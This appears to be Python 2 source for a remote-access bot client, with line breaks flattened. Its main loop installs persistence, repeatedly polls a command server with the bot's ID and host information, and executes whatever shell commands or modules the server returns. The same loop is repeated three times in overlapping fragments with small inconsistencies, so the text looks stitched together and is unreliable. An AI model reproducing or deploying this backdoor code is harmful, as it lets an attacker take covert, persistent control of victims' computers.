def main(args): if settings.DEBUG: if len(args) > 0 and args[0] in MODULES: if len(args) > 1 and args[1] == "help": print(sys.modules["modules.%s" % args[0]].help()) else: print(sys.modules["modules.%s" % args[0]].run(*args[1:])) sys.exit() time.sleep(settings.PAUSE_AT_START) if settings.AUTO_PERSIST: persistence.install() last_active = time.time() is_idle = False while 1: if is_idle: time.sleep(settings.REQUEST_INTERVAL * 10) else: time.sleep(settings.REQUEST_INTERVAL) try: command = requests.get(settings.SERVER_URL + "/api/pop?botid=" + settings.BOT_ID + "&sysinfo=" + platform.system() + " " + platform.release()).text cmdargs = command.split(" ") if command: if settings.DEBUG: print "Command: " + command if cmdargs[0] == "cd": os.chdir(os.path.expandvars(" ".join(cmdargs[1:]))) elif cmdargs[0] in MODULES: sys.modules["modules.%s" % cmdargs[0]].run(*cmdargs[1:]) elif cmdargs[0] == "help": if len(cmdargs) > 1: print_help(cmdargs[1]) else: print_help() else: runcmd.run(command) last_active = time.time() is_idle = False elif time.time() - last_active > settings.IDLE_TIME: is_idle = True except Exception, exc: is_idle = True if settings.DEBUG: print "Exception: " + exc
else: time.sleep(settings.REQUEST_INTERVAL) try: command = requests.get(settings.SERVER_URL + "/api/pop?botid=" + settings.BOT_ID + "&sysinfo=" + platform.system() + " " + platform.release()).text cmdargs = command.split(" ") if command: if settings.DEBUG: print command if cmdargs[0] == "cd": os.chdir(os.path.expandvars(" ".join(cmdargs[1:]))) elif cmdargs[0] in MODULES: sys.modules["modules.%s" % cmdargs[0]].run(*cmdargs[1:]) elif cmdargs[0] == "help": if len(cmdargs) > 1: print_help(cmdargs[1]) else: print_help() else: runcmd.run(command) last_active = time.time() is_idle = False elif time.time() - last_active > settings.IDLE_TIME: is_idle = True except Exception, exc: is_idle = True if settings.DEBUG: print exc
while 1: if is_idle: time.sleep(settings.REQUEST_INTERVAL * 10) else: time.sleep(settings.REQUEST_INTERVAL) try: command = requests.get(settings.SERVER_URL + "/api/pop?botid=" + settings.BOT_ID + "&sysinfo=" + platform.system() + " " + platform.release()).text cmdargs = command.split(" ") if command: if settings.DEBUG: print command if cmdargs[0] == "cd": os.chdir(os.path.expandvars(" ".join(cmdargs[1:]))) elif cmdargs[0] in MODULES: sys.modules["modules.%s" % cmdargs[0]].run(*cmdargs[1:]) elif cmdargs[0] == "help": if len(cmdargs) > 1: print_help(cmdargs[0]) else: print_help() else: runcmd.run(command) last_active = time.time() is_idle = False elif time.time() - last_active > settings.IDLE_TIME: is_idle = True except Exception, exc: is_idle = True if settings.DEBUG: print exc